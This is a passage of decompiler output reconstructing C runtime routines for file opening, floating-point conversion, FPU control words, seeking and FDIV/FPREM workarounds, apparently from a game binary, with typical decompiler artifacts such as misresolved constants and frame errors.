v7; // eax@23 DWORD v8; // esi@39 int v9; // eax@51 int v10; // edi@51 DWORD v11; // ST10_4@54 HANDLE v12; // eax@54 int v13; // esi@54 DWORD v14; // eax@55 unsigned int v15; // eax@57 char v16; // al@62 int v17; // ecx@62 int v18; // esi@62 bool v19; // zf@62 int v20; // eax@69 _SECURITY_ATTRIBUTES SecurityAttributes; // [sp+8h] [bp-1Ch]@1 int fileaccess; // [sp+14h] [bp-10h]@11 DWORD filecreate; // [sp+18h] [bp-Ch]@29 DWORD fileshare; // [sp+1Ch] [bp-8h]@19 char buf; // [sp+22h] [bp-2h]@72 char fileflags; // [sp+23h] [bp-1h]@2 SecurityAttributes.nLength = 12; SecurityAttributes.lpSecurityDescriptor = 0; if ( (char)oflag >= 0 ) { SecurityAttributes.bInheritHandle = 1; fileflags = 0; } else { SecurityAttributes.bInheritHandle = 0; fileflags = 16; } if ( !(oflag & 0x8000) && (BYTE1(oflag) & 0x40 || _fmode != 32768) ) fileflags |= 0x80u; if ( oflag & 3 ) { if ( (oflag & 3) == 1 ) { fileaccess = 1073741824; } else { if ( (oflag & 3) != 2 ) { LABEL_18: *_errno() = 22; *__doserrno() = 0; return -1; } fileaccess = -1073741824; } } else { fileaccess = -2147483648; } switch ( shflag ) { case 16: fileshare = 0; break; case 32: fileshare = 1; break; case 48: fileshare = 2; break; default: if ( shflag != 64 ) goto LABEL_18; fileshare = 3; break; } v7 = oflag & 0x700; if ( v7 > 1024 ) { if ( v7 != 1280 ) { if ( v7 == 1536 ) goto LABEL_37; if ( v7 != 1792 ) goto LABEL_35; } filecreate = 1; goto LABEL_39; } if ( v7 == 1024 || !(oflag & 0x700) ) { filecreate = 3; goto LABEL_39; } if ( v7 == 256 ) { filecreate = 4; goto LABEL_39; } if ( v7 == 512 ) { LABEL_37: filecreate = 5; goto LABEL_39; } if ( v7 != 768 ) { LABEL_35: *_errno() = 22; *__doserrno() = 0; return -1; } filecreate = 2; LABEL_39: v8 = 128; if ( oflag & 0x100 && ((unsigned __int8)pmode & (unsigned __int8)~(_BYTE)_umaskval) >= 0 ) v8 = 1; if ( oflag & 0x40 ) { BYTE2(fileaccess) |= 1u; v8 |= (unsigned int)&wholesaver.ws_savestore[740].esc_skill.buffer[1668]; if ( _osplatform == 2 ) fileshare |= 4u; } if ( BYTE1(oflag) & 0x10 ) v8 |= 0x100u; if ( oflag & 0x20 ) { v8 |= (unsigned int)&wholesaver.ws_savestore[1588].esc_skill.buffer[3204]; } else { if ( oflag & 0x10 ) v8 |= 0x10000000u; } v9 = _alloc_osfhnd(); v10 = v9; if ( v9 == -1 ) { *_errno() = 24; *__doserrno() = 0; return -1; } v11 = filecreate; *punlock_flag = 1; *pfh = v9; v12 = CreateFileA(path, fileaccess, fileshare, &SecurityAttributes, v11, v8, 0); v13 = (int)v12; if ( v12 == (HANDLE)-1 ) { LABEL_57: v15 = GetLastError(); _dosmaperr(v15); return -1; } v14 = GetFileType(v12); if ( !v14 ) { CloseHandle((HANDLE)v13); goto LABEL_57; } if ( v14 == 2 ) { fileflags |= 0x40u; } else { if ( v14 == 3 ) fileflags |= 8u; } _set_osfhnd(v10, v13); fileflags |= 1u; v16 = fileflags; v17 = __pioinfo[v10 >> 5]; v18 = 36 * (v10 & 0x1F); v19 = (fileflags & 0x48) == 0; fileflags &= 0x48u; *(_BYTE *)(v18 + v17 + 4) = v16; if ( v19 && v16 < 0 && oflag & 2 ) { fileaccess = _lseek_lk(v10, -1, 2); if ( fileaccess == -1 ) { if ( *__doserrno() == 131 ) goto LABEL_67; goto LABEL_76; } buf = 0; if ( !_read_lk(v10, &buf, 1u) && buf == 26 && _chsize_lk(v10, fileaccess) == -1 || _lseek_lk(v10, 0, 0) == -1 ) { LABEL_76: _close_lk(v10); return -1; } } LABEL_67: if ( !fileflags ) { if ( oflag & 8 ) { v20 = v18 + __pioinfo[v10 >> 5] + 4; *(_BYTE *)v20 |= 0x20u; } } return v10; } // 146D00A8: using guessed type int _umaskval; // 146D00AC: using guessed type int _osplatform; // 146D05C0: using guessed type int __pioinfo[]; //----- (00586EA9) -------------------------------------------------------- int __cdecl _sopen(const char *path, int oflag, int shflag) { int result; // eax@1 int fh; // [sp+10h] [bp-20h]@1 int unlock_flag; // [sp+14h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+18h] [bp-18h]@1 int pmode; // [sp+44h] [bp+14h]@0 unlock_flag = 0; ms_exc.disabled = 0; result = tsopen_lk(&unlock_flag, &fh, path, oflag, shflag, pmode); ms_exc.disabled = -1; if ( unlock_flag ) _unlock_fhandle(fh); return result; } //----- (00586EFE) -------------------------------------------------------- int __cdecl _ZeroTail(unsigned int *man, int nbit) { int v2; // eax@1 int result; // eax@2 v2 = nbit / 32; if ( ~(-1 << (31 - nbit % 32)) & man[nbit / 32] ) { LABEL_2: result = 0; } else { while ( 1 ) { ++v2; if ( v2 >= 3 ) break; if ( man[v2] ) goto LABEL_2; } result = 1; } return result; } //----- (00586F30) -------------------------------------------------------- int __cdecl _IncMan(unsigned int *man, int nbit) { int result; // eax@1 int v3; // esi@1 unsigned int *v4; // edi@2 result = __addl(man[nbit / 32], 1 << (31 - nbit % 32), &man[nbit / 32]); v3 = nbit / 32 - 1; if ( v3 >= 0 ) { v4 = &man[v3]; do { if ( !result ) break; result = __addl(*v4, 1u, v4); --v3; --v4; } while ( v3 >= 0 ); } return result; } //----- (00586F7D) -------------------------------------------------------- int __cdecl _RoundMan(unsigned int *man, int precision) { int v2; // esi@1 int v3; // ebx@1 unsigned int *v4; // eax@1 int v5; // ebx@5 int retval; // [sp+Ch] [bp-4h]@1 retval = 0; v2 = 31 - precision % 32; v3 = precision / 32; v4 = man; if ( (1 << (31 - precision % 32)) & man[precision / 32] ) { if ( !_ZeroTail(man, precision) ) retval = _IncMan(man, precision - 1); v4 = man; } v4[v3] &= -1 << v2; v5 = v3 + 1; if ( v5 < 3 ) memset(&v4[v5], 0, 4 * (3 - v5)); return retval; } //----- (00586FEF) -------------------------------------------------------- void __cdecl _CopyMan(unsigned int *dest, unsigned int *src) { unsigned int *v2; // eax@1 signed int v3; // edx@1 v2 = src; v3 = 3; do { *(unsigned int *)((char *)v2 + (char *)dest - (char *)src) = *v2; ++v2; --v3; } while ( v3 ); } //----- (0058700A) -------------------------------------------------------- int __cdecl _IsZeroMan(unsigned int *man) { signed int v1; // eax@1 v1 = 0; while ( !man[v1] ) { ++v1; if ( v1 >= 3 ) return 1; } return 0; } //----- (00587023) -------------------------------------------------------- void __cdecl _ShrMan(unsigned int *man, int n) { int v2; // edx@1 signed int v3; // eax@1 unsigned int v4; // ST10_4@2 signed int v5; // eax@3 unsigned int *v6; // ecx@3 int v7; // [sp+10h] [bp-8h]@1 unsigned int carry_from_left; // [sp+14h] [bp-4h]@1 int na; // [sp+24h] [bp+Ch]@1 v2 = n % 32; v7 = n / 32; v3 = 0; na = 32 - n % 32; carry_from_left = 0; do { v4 = ~(-1 << v2) & man[v3]; man[v3] = carry_from_left | (man[v3] >> v2); ++v3; carry_from_left = v4 << na; } while ( v3 < 3 ); v5 = 2; v6 = &man[2 - v7]; do { if ( v5 < v7 ) man[v5] = 0; else man[v5] = *v6; --v5; --v6; } while ( v5 >= 0 ); } //----- (0058709E) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12cvt(_LDBL12 *pld12, void *d, FpFormatDescriptor *format) { _LDBL12 *v3; // eax@1 __int16 v4; // di@1 int v5; // ecx@1 int v6; // edi@1 int v7; // ebx@2 INTRNCVT_STATUS result; // eax@4 int v9; // eax@7 int v10; // edi@10 int v11; // ebx@14 int v12; // esi@16 int v13; // ebx@16 int v14; // edx@17 int v15; // [sp-4h] [bp-28h]@12 int saved_man[3]; // [sp+Ch] [bp-18h]@5 int man[3]; // [sp+18h] [bp-Ch]@1 int sign; // [sp+2Ch] [bp+8h]@1 v3 = pld12; v4 = *(_WORD *)&pld12->ld12[10]; sign = *(_WORD *)&pld12->ld12[10] & 0x8000; man[0] = *(_DWORD *)&v3->ld12[6]; v5 = *(_DWORD *)&v3->ld12[2]; v6 = (v4 & 0x7FFF) - 16383; man[2] = *(_WORD *)&v3->ld12[0] << 16; man[1] = v5; if ( v6 == -16383 ) { v7 = 0; if ( !_IsZeroMan((unsigned int *)man) ) { man[0] = 0; man[1] = 0; man[2] = 0; LABEL_4: result = 2; goto LABEL_16; } goto LABEL_15; } _CopyMan((unsigned int *)saved_man, (unsigned int *)man); if ( _RoundMan((unsigned int *)man, format->precision) ) ++v6; v9 = format->min_exp; if ( v6 < format->min_exp - format->precision ) { man[0] = 0; man[1] = 0; man[2] = 0; LABEL_11: v7 = 0; goto LABEL_4; } if ( v6 <= v9 ) { v10 = v9 - v6; _CopyMan((unsigned int *)man, (unsigned int *)saved_man); _ShrMan((unsigned int *)man, v10); _RoundMan((unsigned int *)man, format->precision); _ShrMan((unsigned int *)man, format->exp_width + 1); goto LABEL_11; } v15 = format->exp_width; if ( v6 >= format->max_exp ) { man[0] = 0; man[1] = 0; man[2] = 0; *(int *)((char *)man + 3) = 128; _ShrMan((unsigned int *)man, v15); v7 = format->max_exp + format->bias; result = 1; goto LABEL_16; } v11 = format->bias; BYTE3(man[0]) &= 0x7Fu; v7 = v6 + v11; _ShrMan((unsigned int *)man, v15); LABEL_15: result = 0; LABEL_16: v12 = format->format_width; v13 = man[0] | (sign != 0 ? 0x80000000 : 0) | (v7 << (31 - LOBYTE(format->exp_width))); if ( v12 == 64 ) { v14 = man[1]; *((_DWORD *)d + 1) = v13; *(_DWORD *)d = v14; } else { if ( v12 == 32 ) *(_DWORD *)d = v13; } return result; } //----- (005871F6) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d) { return _ld12cvt(pld12, d, &DoubleFormat); } //----- (0058720C) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f) { return _ld12cvt(pld12, f, &FloatFormat); } //----- (00587222) -------------------------------------------------------- void __cdecl _atodbl(DOUBLE *d, char *str) { void *EndPtr; // [sp+0h] [bp-14h]@1 _LDBL12 ld12; // [sp+4h] [bp-10h]@1 __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tod(&ld12, d); } //----- (0058725F) -------------------------------------------------------- void __cdecl _atoflt(FLOAT *f, char *str) { void *EndPtr; // [sp+0h] [bp-14h]@1 _LDBL12 ld12; // [sp+4h] [bp-10h]@1 __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tof(&ld12, f); } //----- (0058729C) -------------------------------------------------------- void __cdecl _fptostr(char *buf, int digits, _strflt *pflt) { _strflt *v3; // edx@1 char *v4; // ecx@1 int v5; // ebx@1 char *v6; // esi@1 const char *v7; // edi@1 char *v8; // eax@1 char v9; // dl@3 size_t v10; // eax@16 int bufa; // [sp+14h] [bp+8h]@2 v3 = pflt; v4 = pflt->mantissa; v5 = digits; v6 = buf; v7 = buf + 1; *buf = 48; v8 = buf + 1; if ( digits > 0 ) { bufa = digits; v5 = 0; do { v9 = *v4; if ( *v4 ) ++v4; else v9 = 48; *v8++ = v9; --bufa; } while ( bufa ); v3 = pflt; } *v8 = 0; if ( v5 >= 0 && *v4 >= 53 ) { while ( 1 ) { --v8; if ( *v8 != 57 ) break; *v8 = 48; } ++*v8; } if ( *v6 == 49 ) { ++v3->decpt; } else { v10 = strlen(v7); memmove(v6, (char *)v7, v10 + 1); } } //----- (00587313) -------------------------------------------------------- void __cdecl __dtold(_LDOUBLE *pld, long double *px) { long double *v2; // edx@1 unsigned int v3; // eax@1 int v4; // ecx@1 int v5; // eax@1 unsigned int v6; // edx@1 int v7; // eax@1 int v8; // edi@3 int v9; // ecx@9 int v10; // edx@10 int v11; // ecx@10 signed int msb; // [sp+Ch] [bp-4h]@1 int sign; // [sp+1Ch] [bp+Ch]@1 v2 = px; v3 = *((_WORD *)px + 3); msb = -2147483648; v4 = (v3 >> 4) & 0x7FF; sign = v3 & 0x8000; v5 = *((_DWORD *)v2 + 1); v6 = *(_DWORD *)v2; v7 = v5 & 0xFFFFF; if ( (_WORD)v4 ) { if ( (unsigned __int16)v4 == 2047 ) v8 = 32767; else v8 = v4 + 15360; } else { if ( !v7 && !v6 ) { *(_DWORD *)&pld->ld[4] = 0; *(_DWORD *)&pld->ld[0] = 0; *(_WORD *)&pld->ld[8] = 0; return; } v8 = v4 + 15361; msb = 0; } v9 = msb | (v7 << 11) | (v6 >> 21); *(_DWORD *)&pld->ld[4] = v9; *(_DWORD *)&pld->ld[0] = v6 << 11; if ( !(v9 & 0x80000000) ) { do { v10 = *(_QWORD *)&pld->ld[0] >> 31; v11 = 2 * *(_DWORD *)&pld->ld[0]; v8 += 65535; *(_DWORD *)&pld->ld[4] = v10; *(_DWORD *)&pld->ld[0] = v11; } while ( !(v10 & 0x80000000) ); } *(_WORD *)&pld->ld[8] = v8 | sign; } //----- (005873CD) -------------------------------------------------------- _strflt *__cdecl _fltout2(DOUBLE x, _strflt *flt, char *resultstr) { int v3; // eax@1 _strflt *v4; // esi@1 char *v5; // edi@1 _FloatOutStruct autofos; // [sp+8h] [bp-2Ch]@1 _LDOUBLE ld; // [sp+24h] [bp-10h]@1 __dtold(&ld, &x.x); v3 = _I10_OUTPUT(ld, 17, 0, &autofos); v4 = flt; v5 = resultstr; flt->flag = v3; v4->sign = autofos.sign; v4->decpt = autofos.exp; strcpy(v5, autofos.man); v4->mantissa = v5; return v4; } //----- (00587439) -------------------------------------------------------- void __cdecl _fptrap() { _amsg_exit(2); } //----- (00587442) -------------------------------------------------------- unsigned int __usercall abstract_cw(unsigned __int16 cw) { unsigned int result; // eax@1 int v2; // ecx@13 int v3; // edx@20 result = 0; if ( cw & 1 ) result = 16; if ( cw & 4 ) result |= 8u; if ( cw & 8 ) result |= 4u; if ( cw & 0x10 ) result |= 2u; if ( cw & 0x20 ) result |= 1u; if ( cw & 2 ) result |= 0x80000u; v2 = cw & 0xC00; if ( cw & 0xC00 ) { switch ( v2 ) { case 1024: result |= 0x100u; break; case 2048: result |= 0x200u; break; case 3072: result |= 0x300u; break; } } v3 = cw & 0x300; if ( v3 ) { if ( v3 == 512 ) result |= 0x10000u; } else { result |= 0x20000u; } if ( HIBYTE(cw) & 0x10 ) result |= 0x40000u; return result; } //----- (005874D4) -------------------------------------------------------- unsigned __int16 __usercall hw_cw(unsigned int abstr) { unsigned __int16 result; // ax@1 unsigned int v2; // ecx@13 unsigned int v3; // ecx@20 int v4; // ecx@20 result = 0; if ( abstr & 0x10 ) result = 1; if ( abstr & 8 ) result |= 4u; if ( abstr & 4 ) result |= 8u; if ( abstr & 2 ) result |= 0x10u; if ( abstr & 1 ) result |= 0x20u; if ( abstr & 0x80000 ) result |= 2u; v2 = abstr & 0x300; if ( abstr & 0x300 ) { switch ( v2 ) { case 0x100u: result |= 0x400u; break; case 0x200u: result |= 0x800u; break; case 0x300u: result |= 0xC00u; break; } } v3 = abstr; v4 = v3 & 0x30000; if ( v4 ) { if ( v4 == 65536 ) result |= 0x200u; } else { result |= 0x300u; } if ( abstr & 0x40000 ) result |= 0x1000u; return result; } //----- (00587562) -------------------------------------------------------- unsigned int __cdecl _control87(unsigned int newctrl, unsigned int mask) { unsigned int v2; // ebx@1 unsigned __int16 oldCw; // [sp+4h] [bp-4h]@0 v2 = mask & newctrl | ~mask & abstract_cw(oldCw); hw_cw(v2); return v2; } //----- (00587594) -------------------------------------------------------- unsigned int __cdecl _controlfp(unsigned int newctrl, unsigned int mask) { return _control87(newctrl, mask & 0xFFF7FFFF); } //----- (005875AA) -------------------------------------------------------- __int64 __cdecl _lseeki64_lk(int fh, __int64 pos, int mthd) { unsigned int v3; // eax@4 int v5; // eax@7 doubleint newpos; // [sp+8h] [bp-8h]@1 HIDWORD(newpos.bigint) = HIDWORD(pos); if ( _get_osfhandle(fh) == -1 ) { *_errno() = 9; return -1i64; } LODWORD(newpos.bigint) = SetFilePointer(HIDWORD(pos), pos, (PLONG)&newpos.bigint + 1, mthd); if ( (_DWORD)newpos.bigint == -1 ) { v3 = GetLastError(); if ( v3 ) { _dosmaperr(v3); return -1i64; } } v5 = __pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 4; *(_BYTE *)v5 &= 0xFDu; return newpos.bigint; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0058762D) -------------------------------------------------------- __int64 __cdecl _lseeki64(int fh, __int64 pos, int mthd) { int v3; // esi@2 __int64 result; // qax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _lseeki64_lk(fh, pos, mthd); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1i64; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (005876EB) -------------------------------------------------------- int __cdecl __mbtowc_mt(threadlocaleinfostruct *ptloci, unsigned __int16 *pwc, const char *s, unsigned int n) { const char v4; // al@3 signed int v6; // eax@13 if ( !s || !n ) return 0; v4 = *s; if ( !*s ) { if ( pwc ) *pwc = 0; return 0; } if ( !ptloci->lc_handle[2] ) { if ( pwc ) *pwc = (unsigned __int8)v4; return 1; } if ( HIBYTE(ptloci->pctype[(unsigned __int8)v4]) & 0x80 ) { v6 = ptloci->mb_cur_max; if ( v6 > 1 && (signed int)n >= v6 && MultiByteToWideChar(ptloci->lc_codepage, 9u, s, v6, pwc, pwc != 0) || n >= ptloci->mb_cur_max && s[1] ) return ptloci->mb_cur_max; } else { if ( MultiByteToWideChar(ptloci->lc_codepage, 9u, s, 1, pwc, pwc != 0) ) return 1; } *_errno() = 42; return -1; } //----- (005877AB) -------------------------------------------------------- int __cdecl mbtowc(unsigned __int16 *pwc, const char *s, unsigned int n) { threadlocaleinfostruct *v3; // eax@1 v3 = _getptd()->ptlocinfo; if ( v3 != ___ptlocinfo ) v3 = __updatetlocinfo(); return __mbtowc_mt(v3, pwc, s, n); } //----- (005877D6) -------------------------------------------------------- void __cdecl __libm_error_support(void *arg1, void *arg2, void *retval, error_types input_tag) { void *v4; // esi@28 long double v5; // st7@28 void *v6; // eax@55 _exception exc; // [sp+4h] [bp-24h]@11 if ( (signed int)input_tag > 161 ) { if ( (signed int)input_tag > 1002 ) { if ( input_tag == 1003 ) { exc.name = "atan"; } else { if ( input_tag == 1004 ) { exc.name = "ceil"; } else { if ( input_tag != 1005 ) { if ( input_tag != 1006 ) { if ( input_tag != 1007 ) return; exc.name = "modf"; goto LABEL_59; } LABEL_54: exc.name = "pow"; goto LABEL_55; } exc.name = "floor"; } } } else { if ( input_tag != 1002 ) { if ( input_tag != 162 ) { if ( input_tag == 166 ) { exc.type = 3; exc.name = "exp10"; goto LABEL_45; } if ( input_tag == 170 ) { exc.type = 2; exc.name = "log2"; goto LABEL_45; } if ( input_tag != 171 ) { if ( input_tag == 1000 ) { exc.name = "log"; } else { if ( input_tag != 1001 ) return; exc.name = "log10"; } goto LABEL_59; } exc.name = "log2"; LABEL_55: v6 = arg1; v4 = retval; goto LABEL_60; } exc.type = 4; LABEL_44: exc.name = "exp2"; goto LABEL_45; } exc.name = "exp"; } LABEL_59: v6 = arg1; v4 = retval; *(double *)retval = *(double *)arg1; LABEL_60: exc.arg1 = *(double *)v6; exc.type = 1; exc.arg2 = *(double *)arg2; exc.retval = *(double *)v4; if ( !_pmatherr(&exc) ) *_errno() = 33; goto LABEL_62; } if ( input_tag == 161 ) { exc.type = 3; goto LABEL_44; } if ( (signed int)input_tag <= 24 ) { if ( input_tag != 24 ) { if ( input_tag == 2 ) { exc.type = 2; exc.name = "log"; goto LABEL_45; } if ( input_tag == 3 ) { exc.name = "log"; } else { if ( input_tag == 8 ) { exc.type = 2; exc.name = "log10"; goto LABEL_45; } if ( input_tag != 9 ) { if ( input_tag != 14 ) { if ( input_tag != 15 ) return; exc.name = "exp"; goto LABEL_28; } exc.type = 3; exc.name = "exp"; LABEL_45: v4 = retval; exc.arg1 = *(double *)arg1; exc.arg2 = *(double *)arg2; exc.retval = *(double *)retval; if ( !_pmatherr(&exc) ) *_errno() = 34; goto LABEL_62; } exc.name = "log10"; } goto LABEL_55; } exc.type = 3; LABEL_18: exc.name = "pow"; goto LABEL_45; } if ( input_tag != 25 ) { if ( input_tag == 26 ) { *(double *)retval = 1.0; return; } if ( input_tag == 27 ) { exc.type = 2; goto LABEL_18; } if ( input_tag != 28 ) { if ( input_tag != 29 ) return; exc.name = "pow"; goto LABEL_59; } goto LABEL_54; } exc.name = "pow"; LABEL_28: v4 = retval; exc.arg1 = *(double *)arg1; exc.arg2 = *(double *)arg2; v5 = *(double *)retval; exc.type = 4; exc.retval = v5; _pmatherr(&exc); LABEL_62: *(_QWORD *)v4 = *(_QWORD *)&exc.retval; } // 6119E8: using guessed type int (__cdecl *_pmatherr)(_DWORD); //----- (00587A70) -------------------------------------------------------- double __cdecl fdiv_main_routine(_TBYTE a1, _TBYTE a2) { double v2; // st7@1 double v3; // st6@1 int v4; // eax@3 double result; // st7@4 v2 = a2; v3 = a1; while ( !__CFADD__(DWORD1(a1), DWORD1(a1)) ) { if ( !*(_QWORD *)&a1 || WORD4(a1) & 0x7FFF ) return v2 / v3; if ( WORD4(a2) & 0x7FFF ) { if ( (WORD4(a2) & 0x7FFF) == 32767 || !__CFADD__(DWORD1(a2), DWORD1(a2)) ) return v2 / v3; } else { if ( __CFADD__(DWORD1(a2), DWORD1(a2)) ) return v2 / v3; } *(double *)&a1 = v3 * *(float *)&one_shl_63; v2 = a2; } v4 = 2 * DWORD1(a1) ^ 0xE000000; if ( v4 & 0xE000000 ) return v2 / v3; if ( !*(&fdiv_risc_table + ((unsigned int)v4 >> 28)) ) return v2 / v3; if ( !(WORD4(a1) & 0x7FFF) || (WORD4(a1) & 0x7FFF) == 32767 ) return v2 / v3; if ( (WORD4(a2) & 0x7FFF) == 1 ) result = v2 * *(float *)&fdiv_scale_2 / (v3 * *(float *)&fdiv_scale_2); else result = v2 * *(float *)&fdiv_scale_1 / (v3 * *(float *)&fdiv_scale_1); return result; } //----- (00587B87) -------------------------------------------------------- #error "FFFFFFFF: function frame is wrong (funcsize=0)" //----- (00588026) -------------------------------------------------------- void __usercall _fdivp_sti_st(double a1, double a2) { _TBYTE v2; // [sp+0h] [bp-2Ch]@0 _TBYTE v3; // [sp+Ch] [bp-20h]@0 *(double *)&v2 = a1; *(double *)&v3 = a2; fdiv_main_routine(v2, v3); } //----- (00588039) -------------------------------------------------------- void __usercall _fdivrp_sti_st(double a1, double a2) { _TBYTE v2; // [sp+0h] [bp-2Ch]@0 _TBYTE v3; // [sp+Ch] [bp-20h]@0 *(double *)&v3 = a1; *(double *)&v2 = a2; fdiv_main_routine(v2, v3); } //----- (0058804C) -------------------------------------------------------- int __userpurge _adj_fdiv_m32(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, float a8) { int v8; // [sp+Ch] [bp-4h]@1 v8 = result; if ( (LODWORD(a8) & 0x7F800000) != 2139095040 ) { if ( a2 & 0x3800 ) { _fdivp_sti_st(a3, a4); result = v8; } else { _fdivp_sti_st(a8, a3); result = v8; } } return result; } //----- (00588098) -------------------------------------------------------- int __userpurge _adj_fdiv_m64(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, double a8) { int v8; // [sp+Ch] [bp-4h]@1 v8 = result; if ( (HIDWORD(a8) & 0x7FF00000) != 2146435072 ) { if ( a2 & 0x3800 ) { _fdivp_sti_st(a3, a4); result = v8; } else { _fdivp_sti_st(a8, a3); result = v8; } } return result; } //----- (005880E4) -------------------------------------------------------- int __userpurge _adj_fdiv_m16i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, __int16 a8) { int result; // eax@2 int v9; // [sp+Ch] [bp-4h]@1 v9 = a1; if ( a2 & 0x3800 ) { _fdivp_sti_st(a3, a4); result = v9; } else { _fdivp_sti_st((double)a8, a3); result = v9; } return result; } //----- (00588118) -------------------------------------------------------- int __userpurge _adj_fdiv_m32i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, signed int a8) { int result; // eax@2 int v9; // [sp+Ch] [bp-4h]@1 v9 = a1; if ( a2 & 0x3800 ) { _fdivp_sti_st(a3, a4); result = v9; } else { _fdivp_sti_st((double)a8, a3); result = v9; } return result; } //----- (0058814C) -------------------------------------------------------- int __userpurge _adj_fdivr_m32(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, float a8) { int v8; // [sp+Ch] [bp-4h]@1 v8 = result; if ( (LODWORD(a8) & 0x7F800000) != 2139095040 ) { if ( a2 & 0x3800 ) { _fdivrp_sti_st(a3, a4); result = v8; } else { _fdivrp_sti_st(a8, a3); result = v8; } } return result; } //----- (00588198) -------------------------------------------------------- int __userpurge _adj_fdivr_m64(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, double a8) { int v8; // [sp+Ch] [bp-4h]@1 v8 = result; if ( (HIDWORD(a8) & 0x7FF00000) != 2146435072 ) { if ( a2 & 0x3800 ) { _fdivrp_sti_st(a3, a4); result = v8; } else { _fdivrp_sti_st(a8, a3); result = v8; } } return result; } //----- (005881E4) -------------------------------------------------------- int __userpurge _adj_fdivr_m16i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, __int16 a8) { int result; // eax@2 int v9; // [sp+Ch] [bp-4h]@1 v9 = a1; if ( a2 & 0x3800 ) { _fdivrp_sti_st(a3, a4); result = v9; } else { _fdivrp_sti_st((double)a8, a3); result = v9; } return result; } //----- (00588218) -------------------------------------------------------- int __userpurge _adj_fdivr_m32i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, signed int a8) { int result; // eax@2 int v9; // [sp+Ch] [bp-4h]@1 v9 = a1; if ( a2 & 0x3800 ) { _fdivrp_sti_st(a3, a4); result = v9; } else { _fdivrp_sti_st((double)a8, a3); result = v9; } return result; } //----- (0058824C) -------------------------------------------------------- int __usercall _safe_fdiv(int a1, double a2, double a3) { int v3; // ST2C_4@1 _TBYTE v5; // [sp+0h] [bp-30h]@0 _TBYTE v6; // [sp+Ch] [bp-24h]@0 v3 = a1; *(double *)&v5 = a2; *(double *)&v6 = a3; fdiv_main_routine(v5, v6); return v3; } //----- (00588261) -------------------------------------------------------- int __usercall _safe_fdivr(int a1, double a2, double a3) { int v3; // ST2C_4@1 _TBYTE v5; // [sp+0h] [bp-30h]@0 _TBYTE v6; // [sp+Ch] [bp-24h]@0 v3 = a1; *(double *)&v6 = a2; *(double *)&v5 = a3; fdiv_main_routine(v5, v6); return v3; } //----- (00588276) -------------------------------------------------------- // local variable allocation has failed! void __fastcall _fprem_common(int a1, char a2, _BYTE a3[12], int a4, int a5, int a6, _BYTE a7[12]) { int v7; // ecx@11 double v8; // st7@11 __int16 v9; // fps@11 double v10; // st6@11 bool v11; // c0@12 char v12; // c2@12 bool v13; // c3@12 if ( !((*(_DWORD *)&a3[6] ^ 0x700) & 0x700) && *(&fprem_risc_table + (((*(_DWORD *)&a3[6] ^ 0x700u) >> 11) & 0xF)) && (*(_DWORD *)&a3[6] & 0x7FFF0000) != 2147418112 && *(_DWORD *)&a7[6] & 0x7FFF0000 && (*(_DWORD *)&a7[6] & 0x7FFF0000) != 2147418112 && !(2 * *(_DWORD *)&a7[4]) && !(2 * *(_DWORD *)&a3[4]) ) { if ( (*(_WORD *)&a7[8] & 0x7FFFu) > (*(_WORD *)&a3[8] & 0x7FFFu) + 63 ) { v7 = ((a7[8] - a3[8]) & 0x3F | 0x20) + 1; v8 = fabs(*(long double *)a3); v10 = fabs(*(long double *)a7); UNDEF(v9); do { v11 = v10 < v8; v12 = 0; v13 = v10 == v8; if ( !(v9 & 0x100) ) v10 = v10 - v8; UNDEF(v9); v8 = v8 * *(double *)half; --v7; } while ( v7 ); } else { while ( (*(_WORD *)&a7[8] & 0x7FFF) - ((*(_WORD *)&a3[8] & 0x7FFF) + 10) >= 0 ) ; } } if ( a2 & 3 ) { __asm { fnstenv [esp+28h+var_28] fldenv [esp+28h+var_28] } } } // 588276: array has been used for an input argument //----- (0058847C) -------------------------------------------------------- void __usercall _adj_fprem(int a1, double a2) { char v2; // dl@4 _BYTE v3[12]; // [sp+0h] [bp-34h]@0 int v4; // [sp+Ch] [bp-28h]@0 _BYTE *v5; // [sp+10h] [bp-24h]@0 __int16 v6; // [sp+20h] [bp-14h]@0 *(double *)v3 = a2; if ( *(_DWORD *)&v3[6] & 0x7FFF0000 ) { _fprem_common(a1, 0, LODWORD(a2), *(unsigned __int64 *)&a2 >> 32, *(int *)&v3[8], v4, v5); } else { if ( a2 != 0.0 ) { v2 = 2; if ( (v6 & 0x7FFFu) > 0x7FBE ) { *(double *)v3 = a2 * *(double *)one_shl_64; } else { v2 = 3; *(double *)v3 = a2 * *(double *)one_shl_64; } _fprem_common( a1, v2, *(_BYTE **)v3, *(int *)&v3[4], *(int *)&v3[8], SLODWORD(a2), (_BYTE *)(*(unsigned __int64 *)&a2 >> 32)); } } } //----- (0058852E) -------------------------------------------------------- // local variable allocation has failed! void __fastcall _fprem1_common(int a1, char a2, _BYTE a3[12], int a4, int a5, int a6, _BYTE a7[12]) { int v7; // eax@8 int v8; // ebx@8 bool v9; // cf@8 int v10; // ebx@8 int v11; // ecx@11 double v12; // st7@11 __int16 v13; // fps@11 double v14; // st6@11 bool v15; // c0@12 char v16; // c2@12 bool v17; // c3@12 if ( !((*(_DWORD *)&a3[6] ^ 0x700) & 0x700) && *(&fprem_risc_table + (((*(_DWORD *)&a3[6] ^ 0x700u) >> 11) 